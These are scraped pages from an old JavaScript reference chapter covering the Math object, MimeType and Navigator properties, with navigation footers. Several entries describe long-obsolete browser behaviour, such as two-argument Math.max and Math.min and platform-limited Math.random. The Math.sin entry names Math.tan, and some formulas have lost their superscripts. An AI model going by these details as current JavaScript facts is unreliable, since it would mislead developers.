[Chapter 21] Reference: Location.search

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Location.search Property

Name

Location.search Property---see "URL.search"

Previous | Home | Next
Location.replace() | Book Index | Math
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Math

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Math Object

Name

Math Object---placeholder for mathematical functions and constants

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

Math.constant
Math.function()

Constants

E

the constant e, the base of the natural logarithm.

LN10

the natural logarithm of 10

LN2

the natural logarithm of 2

LOG10E

the base-10 logarithm of e

LOG2E

the base-2 logarithm of e

PI

the constant pi

SQRT1_2

1 divided by the square root of 2

SQRT2

the square root of 2

Functions

abs()

compute an absolute value

acos()

compute an arc cosine

asin()

compute an arc sine

atan()

compute an arc tangent

atan2()

compute the angle from the X axis to a point

ceil()

round a number up

cos()

compute a cosine

exp()

compute an exponent of e

floor()

round a number down

log()

compute a natural logarithm

max()

return the larger of two numbers

min()

return the smaller of two numbers

pow()

compute xy

random()

compute a random number; not available on all platforms

round()

round to the nearest integer

sin()

compute a sine

sqrt()

compute a square root

tan()

compute a tangent

Description

Math is a read-only reference to a placeholder object that contains mathematical functions and constants. These functions and constants are conveniently grouped by this Math object, and are invoked with syntax like this:

y = Math.sin(x);
area = radius * radius * Math.PI;

Math is actually a "global" property of the Window object, and as such, is usually referred to as Math, rather than as window.Math.

Math is not a class of objects like Date and String are. The Date class, for example, defines methods that operate on Date objects; on instances of the class. Math, on the other hand is simply an object that contains references to functions. These functions happen to be invoked through the Math object, but they do not operate on that object, as methods would.

See Also

"Number"

Previous | Home | Next
Location.search | Book Index | Math.abs()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Button.click()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Button.click() Method

Name

Button.click() Method--- see "Element.click()"

Previous | Home | Next
Button.blur() | Book Index | Button.focus()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Math.abs()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Math.abs() Function

Name

Math.abs() Function---compute an absolute value

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

Math.abs(x)

Arguments

x

Any number or numeric expression.

Returns

The absolute value of x.

Description

Math.abs() returns the absolute value of its single argument.

See Also

"Math"

Previous | Home | Next
Math | Book Index | Math.acos()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Math.acos()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Math.acos() Function

Name

Math.acos() Function---compute an arc cosine

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

Math.acos(x)

Arguments

x

A number or numeric expression between -1.0 and 1.0.

Returns

The arc cosine, in radians, of the specified value x.

Description

Math.acos() computes and returns the arc cosine, or inverse cosine of the specified argument. The argument must be a value between -1.0 and 1.0. The return value is between 0 and pi radians.

See Also

"Math",
"Math.asin()",
"Math.tan()",
"Math.cos()"

Previous | Home | Next
Math.abs() | Book Index | Math.asin()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Math.asin()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Math.asin() Function

Name

Math.asin() Function---compute an arc sine

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

Math.asin(x)

Arguments

x

A number or numeric expression between -1.0 and 1.0.

Returns

The arc sine, in radians, of the specified value x.

Description

Math.asin() computes and returns the arc sine, or inverse sine of its argument. The argument must be a value between -1.0 and 1.0. The return value is between -pi/2 and pi/2 radians.

See Also

"Math",
"Math.acos()",
"Math.atan()",
"Math.sin()"

Previous | Home | Next
Math.acos() | Book Index | Math.atan()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Math.atan()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Math.atan() Function

Name

Math.atan() Function---compute an arc tangent

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

Math.atan(x)

Arguments

x

Any number or numeric expression.

Returns

The arc tangent, in radians, of the specified value x.

Description

Math.atan() computes and returns the arc tangent, or inverse tangent, of its argument. The return value is between -pi/2 and pi/2 radians.

See Also

"Math",
"Math.acos()",
"Math.asin()",
"Math.tan()"

Previous | Home | Next
Math.asin() | Book Index | Math.atan2()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Math.atan2()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Math.atan2() Function

Name

Math.atan2() Function---compute the angle from the X axis to a point

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

Math.atan2(x, y)

Arguments

x

The X-coordinate of the point.

y

The Y-coordinate of the point.

Returns

The counter-clockwise angle, measured in radians, between the positive X axis, and the point (x, y).

Description

The Math.atan2() function performs half of the conversion between Cartesian coordinates and polar coordinates. It computes and returns the angle theta of an (x, y) point.

This function is named Math.atan2() because it performs a similar computation to Math.atan(). Math.atan2() is passed separate x and y arguments, and Math.atan() is passed the ratio of those two arguments.

See Also

"Math", "Math.atan()", "Math.tan()"

Previous | Home | Next
Math.atan() | Book Index | Math.ceil()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Math.ceil()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Math.ceil() Function

Name

Math.ceil() Function---round a number up

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

Math.ceil(x)

Arguments

x

Any numeric value or expression.

Returns

The closest integer greater than or equal to x.

Description

Math.ceil() computes the ceiling function--i.e., it returns the closest integer value that is greater than or equal to the function argument. Math.ceil() differs from Math.round() in that it always rounds up, rather than rounding up or down to the closest integer. Also note that Math.ceil() does not round negative numbers to larger negative numbers; it rounds them up towards zero.

Example

a = Math.ceil(1.99);   // result is 2.0
b = Math.ceil(1.01);   // result is 2.0
c = Math.ceil(1.0);    // result is 1.0
d = Math.ceil(-1.99);  // result is -1.0

See Also

"Math", "Math.floor()", "Math.round()"

Previous | Home | Next
Math.atan2() | Book Index | Math.cos()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Math.cos()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Math.cos() Function

Name

Math.cos() Function---compute a cosine

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

Math.cos(x)

Arguments

x

A numeric value or expression, in radians.

Returns

The cosine of the specified value x.

Description

Math.cos() computes and returns the cosine of the specified argument. The argument should be an angle be specified in radians, and the return value will be between -1.0 and 1.0.

See Also

"Math"

Previous | Home | Next
Math.ceil() | Book Index | Math.E
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Math.E

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Math.E Constant

Name

Math.E Constant---mathematical constant e

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

Math.E

Description

Math.E is the mathematical constant e, the base of the natural logarithms, with a value of approximately 2.71828.

See Also

"Math", "Math.exp()", "Math.log()", "Math.PI"

Previous | Home | Next
Math.cos() | Book Index | Math.exp()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Math.exp()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Math.exp() Function

Name

Math.exp() Function---compute ex

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

Math.exp(x)

Arguments

x

A numeric value or expression to be used as the exponent.

Returns

ex, e raised to the power of the specified exponent, x.

Description

Math.exp() computes ex, where e is the base of the natural logarithms, approximately 2.71828.

Usage

You can compute xy using Math.exp() with the following formula:

xy = ey*ln(x)

This formula can be expressed in JavaScript as follows:

Math.exp(y * Math.log(x))

See Also

"Math", "Math.log()", "Math.LN10"

Previous | Home | Next
Math.E | Book Index | Math.floor()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Math.floor()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Math.floor() Function

Name

Math.floor() Function---round a number down

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

Math.floor(x)

Arguments

x

Any numeric value or expression.

Returns

The closest integer less than or equal to x.

Description

Math.floor() computes the floor function--i.e., it returns the nearest integer value that is less than or equal to the function argument. Math.floor() rounds a floating-point value down to the closest integer. This differs from Math.round() which rounds up or down to the nearest integer. Also note that Math.floor() rounds negative numbers to be more negative, not closer to zero.

Example

a = Math.floor(1.99);  // result is 1.0
b = Math.floor(1.01);  // result is 1.0
c = Math.floor(1.0);   // result is 1.0
d = Math.floor(-1.01);  // result is -2.0

See Also

"Math", "Math.ceil()", "Math.round()"

Previous | Home | Next
Math.exp() | Book Index | Math.LN10
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Button.focus()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Button.focus() Method

Name

Button.focus() Method--- see "Element.focus()"

Previous | Home | Next
Button.click() | Book Index | Button.form
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Math.LN10

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Math.LN10 Constant

Name

Math.LN10 Constant---mathematical constant loge10

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

Math.LN10

Description

Math.LN10 is loge10, the natural logarithm of 10, which has a value of approximately 2.3025850929940459011.

See Also

"Math", "Math.exp()", "Math.LN2", "Math.log()", "Math.LOG2E", "Math.LOG10E"

Previous | Home | Next
Math.floor() | Book Index | Math.LN2
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Math.LN2

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Math.LN2 Constant

Name

Math.LN2 Constant---mathematical constant loge2

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

Math.LN2

Description

Math.LN2 is loge2, the natural logarithm of 2, which has a value of approximately 0.69314718055994528623.

See Also

"Math", "Math.exp()", "Math.LN10", "Math.log()", "Math.LOG2E", "Math.LOG10E"

Previous | Home | Next
Math.LN10 | Book Index | Math.log()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Math.log()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Math.log() Function

Name

Math.log() Function---compute a natural logarithm

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

Math.log(x)

Arguments

x

Any numeric value or expression greater than zero.

Returns

The natural logarithm of x.

Description

Math.log() computes logex, the natural logarithm of its argument. The argument must be greater than zero.

Usage

You can compute the base-10 and base-2 logarithms of a number with the following formulas:

log10x = log10(e*logex)

log2x = log2(e*logex)

These formulas translate into the following JavaScript functions:

function log10(x) { return Math.LOG10E * Math.log(x); }
function log2(x) { return  Math.LOG2E * Math.log(x); }

See Also

"Math", "Math.exp()", "Math.LOG2E", "Math.LOG10E"

Previous | Home | Next
Math.LN2 | Book Index | Math.LOG10E
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Math.LOG10E

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Math.LOG10E Constant

Name

Math.LOG10E Constant---mathematical constant log10e

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

Math.LOG10E

Description

Math.LOG10E is log10e, the base 10 logarithm of the constant e. It has a value of approximately 0.43429448190325181667.

See Also

"Math", "Math.exp()", "Math.LN2", "Math.LN10", "Math.log()", "Math.LOG2E"

Previous | Home | Next
Math.log() | Book Index | Math.LOG2E
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Math.LOG2E

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Math.LOG2E Constant

Name

Math.LOG2E Constant---mathematical constant log2e

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

Math.LOG2E

Description

Math.LOG2E is log2e, the base 2 logarithm of the constant e. It has a value of approximately 1.442695040888963387.

See Also

"Math", "Math.exp()", "Math.LN2", "Math.LN10", "Math.log()", "Math.LOG10E"

Previous | Home | Next
Math.LOG10E | Book Index | Math.max()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Math.max()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Math.max() Function

Name

Math.max() Function---return the larger of two values

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

Math.max(a, b)

Arguments

a, b

Any two numeric values or expressions.

Returns

The larger of the two values a and b.

Description

Math.max() returns whichever of its two arguments is larger.

See Also

"Math", "Math.min()"

Previous | Home | Next
Math.LOG2E | Book Index | Math.min()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Math.min()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Math.min() Function

Name

Math.min() Function---return the smaller of two values

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

Math.min(a, b)

Arguments

a, b

Any two numeric values or expressions.

Returns

The smaller of the two values a and b.

Description

Math.min() returns whichever of its two arguments is smaller.

See Also

"Math", "Math.max()"

Previous | Home | Next
Math.max() | Book Index | Math.PI
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Math.PI

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Math.PI Constant

Name

Math.PI Constant---mathematical constant pi

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

Math.PI

Description

Math.PI is the constant pi or pi, the ratio of the circumference of a circle to its diameter. Pi has a value of approximately 3.141592653589793116.

See Also

"Math", "Math.E"

Previous | Home | Next
Math.min() | Book Index | Math.pow()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Math.pow()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Math.pow() Function

Name

Math.pow() Function---compute xy

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

Math.pow(x, y)

Arguments

x

The number or numeric expression to be raised to a power.

y

The power that x is to be raised to.

Returns

x to the power of y, xy

Description

Math.pow() raises its first argument to the power of its second argument and returns the result.

Usage

Any values of x and y may be passed to Math.pow(). However, if the result is an imaginary or complex number, then Math.pow() returns zero. In practice, this means that if x is negative, then y should be a positive or negative integer. Also, bear in mind that large exponents can easily cause floating-point overflow and return a value of infinity.

See Also

"Math", "Math.exp()"

Previous | Home | Next
Math.PI | Book Index | Math.random()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Math.random()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Math.random() Function

Name

Math.random() Function---return a pseudo-random number

Availability

Navigator 3.0; buggy in Internet Explorer 3.0; Unix platforms only for Navigator 2.0

Synopsis

Math.random()

Arguments

None.

Returns

A pseudo-random number between 0.0 and 1.0.

Description

Math.random() returns a psuedo-random number between 0.0 and 1.0. Note that in Navigator 2.0, this function only works for Unix platforms. In Internet Explorer 3.0, Math.random() generates pseudo-random numbers, but is not randomly seeded, so it generates the same sequence of numbers each time the browser is started.

Usage

Since Math.random() does not work on all platforms, you should not rely on it if you want your scripts to be really portable. If you need only a single pseudo-random number, you can often use a portion of the current time, such as (new Date()).getSeconds()).

If you need need a sequence of more reliably pseudo-random numbers (for a game, perhaps), you'll have to write your own pseudo-random number generator. The following code is based on a linear congruential algorithm in the book Numerical Recipes, and produces simple, non-cryptographic, pseudo-random numbers:

function random() {
  random.seed = (random.seed*random.a + random.c) % random.m;
  return random.seed / random.m;
}
random.m=714025; random.a=4096; random.c=150889;
random.seed = (new Date()).getTime()%random.m;

Bugs

Internet Explorer 3.0 does not randomly seed its random-number generator, so it generates the same sequence of random numbers each time the browser starts up. This bug will be fixed in a future release.

See Also

"Math"

Previous | Home | Next
Math.pow() | Book Index | Math.round()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Button.form

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Button.form Property

Name

Button.form Property--- see "Element.form"

Previous | Home | Next
Button.focus() | Book Index | Button.name
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Math.round()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Math.round() Function

Name

Math.round() Function---round to the nearest integer

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

Math.round(x)

Arguments

x

Any number or numeric expression

Returns

The integer closest to x.

Description

Math.round() rounds its argument up or down to the nearest integer.

Bugs

In Navigator 2.0, Math.round() did not correctly round very large numbers. The following workaround can be used:

function my_round(num)
{
    var fl = Math.floor(num);
    var ce = Math.ceil(num);
    return (fl == ce) ? num :
           ((num - fl) < (num - ce)) ? fl :
           ce;
}

See Also

"Math", "Math.ceil()", "Math.floor()"

Previous | Home | Next
Math.random() | Book Index | Math.sin()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Math.sin()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Math.sin() Function

Name

Math.sin() Function---compute a sine

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

Math.sin(x)

Arguments

x

An angle, in radians.

Returns

The sine of x.

Description

Math.tan() computes and returns the sine of its numeric argument, which must be an angle specified in radians.

Usage

To convert degrees to radians, multiply by 0.017453293 (2pi/360).

See Also

"Math",
"Math.asin()",
"Math.cos()",
"Math.tan()"

Previous | Home | Next
Math.round() | Book Index | Math.sqrt()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Math.sqrt()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Math.sqrt() Function

Name

Math.sqrt() Function---compute a square root

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

Math.sqrt(x)

Arguments

x

Any numeric value or expression greater than or equal to zero.

Returns

The square root of x.

Description

Math.sqrt() returns the square root of its argument, which must be greater than or equal to zero.

Usage

You can compute roots other than the square root of a number with Math.pow(). For example:

function sq_rt(x)   { return Math.pow(x,1/2); }
function cube_rt(x) { return Math.pow(x,1/3); }

See Also

"Math", "Math.pow()"

Previous | Home | Next
Math.sin() | Book Index | Math.SQRT1_2
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Math.SQRT1_2

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Math.SQRT1_2 Constant

Name

Math.SQRT1_2 Constant---mathematical constant

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

Math.SQRT1_2

Description

Math.SQRT1_2 is , the reciprocal of the square root of 2. It has a value of approximately 0.70710678118654757274.

See Also

"Math", "Math.sqrt()", "Math.SQRT2"

Previous | Home | Next
Math.sqrt() | Book Index | Math.SQRT2
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Math.SQRT2

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Math.SQRT2 Constant

Name

Math.SQRT2 Constant---mathematical constant

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

Math.SQRT2

Description

Math.SQRT2 is the constant , the square root of 2. It has a value of approximately 1.4142135623730951455.

See Also

"Math", "Math.sqrt()", "Math.SQRT1_2"

Previous | Home | Next
Math.SQRT1_2 | Book Index | Math.tan()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Math.tan()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Math.tan() Function

Name

Math.tan() Function---compute a tangent

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

Math.tan(x)

Arguments

x

An angle, measured in radians.

Returns

The tangent of the specified angle x.

Description

Math.tan() computes and returns the tangent of its numeric argument, which must be an angle specified in radians.

Usage

To convert degrees to radians, multiply by 0.017453293 (2pi/360).

See Also

"Math",
"Math.atan()",
"Math.cos()",
"Math.sin()"

Previous | Home | Next
Math.SQRT2 | Book Index | MimeType
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: MimeType

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

MimeType Object

Name

MimeType Object---represents a MIME datatype

Availability

Navigator 3.0

Synopsis

navigator.mimeTypes[i]
navigator.mimeTypes["name"]
navigator.mimeTypes.length

Properties

description

A read-only string that provides an English description of the content and encoding of the type.

enabledPlugin

A reference to the Plugin object that supports this MIME type, or null, if no installed and enabled plug-in supports it.

suffixes

A read-only string that specifies a comma-separated list of the common filename extensions associated with this MIME type.

type

A read-only string that indicates the name of the MIME datatype, such as "text/html" or "video/mpeg".

Description

The MimeType object represents a MIME type (i.e., a data format) supported by the browser. The format may be supported directly by the browser, or may be supported through an external "helper application," or a plug-in for embedded data.

Usage

The navigator.mimeTypes[] array may be indexed numerically, or with the name of the desired MIME type (which is the value of the type property). In order to check which MIME types are supported by the browser, you can loop through each element in the array numerically. Or, if you just want to check whether a specific type is supported, you can write code like the following:

var show_movie = (navigator.mimeTypes["video/mpeg"] != null);

See Also

"Navigator", "Plugin"

Previous | Home | Next
Math.tan() | Book Index | MimeType.description
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: MimeType.description

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

MimeType.description Property

Name

MimeType.description Property---a description of a MIME type

Availability

Navigator 3.0

Synopsis

mimetype.description

Description

The description property of a MimeType object is a human-readable description (in English) of the data type described by the MimeType. This description is more verbose and understandable than the name property.

See Also

"MimeType", "MimeType.type", "Navigator", "Plugin"

Previous | Home | Next
MimeType | Book Index | MimeType.enabledPlugin
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: MimeType.enabledPlugin

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

MimeType.enabledPlugin Property

Name

MimeType.enabledPlugin Property---the plug-in that handles the MIME type

Availability

Navigator 3.0

Synopsis

mimetype.enabledPlugin

Description

The enabledPlugin property is a reference to a Plugin object that represents the installed and enabled plug-in that handles the specified MIME type. If the MIME type is not handled by any plug-ins, then the value of this property will be null.

Usage

The navigator.mimeType[] array will tell you whether a given MIME type is supported by the browser in some fashion. The enabledPlugin property of the MimeType object, however tells you whether a particular supported type is supported with a plug-in or not (MIME types can also be supported with helper applications, or directly by the browser.) If a MIME type is supported by a plug-in, it can be embedded in a web page with the <EMBED> tag; otherwise it must be output in some other way.

See Also

"MimeType", "Plugin"

Previous | Home | Next
MimeType.description | Book Index | MimeType.suffixes
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: MimeType.suffixes

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

MimeType.suffixes Property

Name

MimeType.suffixes Property---common file suffixes for a MIME type

Availability

Navigator 3.0

Synopsis

mimetype.suffixes

Description

The suffixes property of a MimeType object is a read-only string that contains a comma separated list of filename suffixes (not including the `.' character) that are commonly used with files of the specified MIME type. For example, the the suffixes for the text/html MIME type are "html, htm".

See Also

"MimeType", "Navigator", "Plugin"

Previous | Home | Next
MimeType.enabledPlugin | Book Index | MimeType.type
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Button.name

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Button.name Property

Name

Button.name Property--- see "Element.name"

Previous | Home | Next
Button.form | Book Index | Button.onblur()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: MimeType.type

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

MimeType.type Property

Name

MimeType.type Property---the name of a MIME type

Availability

Navigator 3.0

Synopsis

mimetype.type

Description

The type property of a MimeType object is a read-only string that specifies the name of the MIME type. This is a unique string such as "text/html" or "image/jpeg" that distinguishes this MIME type from all others. It describes the general type of data and the data format used.

The value of the type property can also be used as an index to access the elements of the navigator.mimeTypes[] array.

See Also

"MimeType", "MimeType.description", "Navigator", "Plugin"

Previous | Home | Next
MimeType.suffixes | Book Index | name
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: name

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

name Property

Name

name Property---see "Window.name"

Previous | Home | Next
MimeType.type | Book Index | navigate()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: navigate()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

navigate() Method

Name

navigate() Method---see "Window.navigate()"

Previous | Home | Next
name | Book Index | navigator
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: navigator

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

navigator Property

Name

navigator Property---reference to the Navigator object

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

navigator

Description

The navigator property contains a read-only reference to a Navigator object, which provides version and configuration information about the web browser. See the Navigator object for details.

All windows have a navigator property that refers to a Navigator object, and all Navigator objects contain the same values. Therefore, the Navigator object is usually referred to simply as navigator without an explicit window reference.

See Also

"Navigator", "Window"

Previous | Home | Next
navigate() | Book Index | Navigator
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Navigator

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Navigator Object

Name

Navigator Object---information about the browser in use

Availability

Navigator 2.0, Internet Explorer 3.0; enhanced in Navigator 3.0

Synopsis

navigator

Properties

appCodeName

The code name of the browser.

appName

The name of the browser.

appVersion

Version information for the browser.

mimeTypes[]

An array of MimeType objects describing the MIME types recognized and supported by the browser. Added in Navigator 3.0.

mimeTypes.length

The number of elements in the mimeTypes[] array.

plugins[]

An array of Plugin objects describing the installed plug-ins. Added in Navigator 3.0.

plugins.length

The number of elements in the plugins[] array.

userAgent

The string passed by the browser as the user-agent header in HTTP requests.

Methods

javaEnabled()

Test whether Java is supported and enabled in the current browser. Added in Navigator 3.0.

plugins.refresh()

Check for newly installed plug-ins, enter them in the plugins[] array, and optionally reload documents using those plug-ins. Added in Navigator 3.0.

taintEnabled()

Test whether the data-tainting security model is supported and enabled in the current browser. Added in Navigator 3.0.

Description

The Navigator object contains properties that describe the web browser in use. You can use its properties to perform platform-specific customization. The name of this object obviously refers to the Netscape Navigator browser, but other browsers that implement JavaScript will support this object as well.

There is only a single instance of the Navigator object, which you can reference through the navigator property of any Window object. Because of the implicit window reference, you can always refer to the Navigator object simply as navigator.

See Also

"MimeType", "Plugin"

Previous | Home | Next
navigator | Book Index | Navigator.appCodeName
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Navigator.appCodeName

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Navigator.appCodeName Property

Name

Navigator.appCodeName Property---the code name of the browser

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

navigator.appCodeName

Description

navigator.appCodeName is a read-only string property which specifies the code name of the browser. For Navigator 2.0 and 3.0, the value of this property is "Mozilla". For compatibility, Internet Explorer 3.0 also uses "Mozilla" as the value of this property.

See Also

"Navigator", "Navigator.appName", "Navigator.appVersion", "Navigator.userAgent"

Previous | Home | Next
Navigator | Book Index | Navigator.appName
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Navigator.appName

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Navigator.appName Property

Name

Navigator.appName Property---the application name of the browser

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

navigator.appName

Description

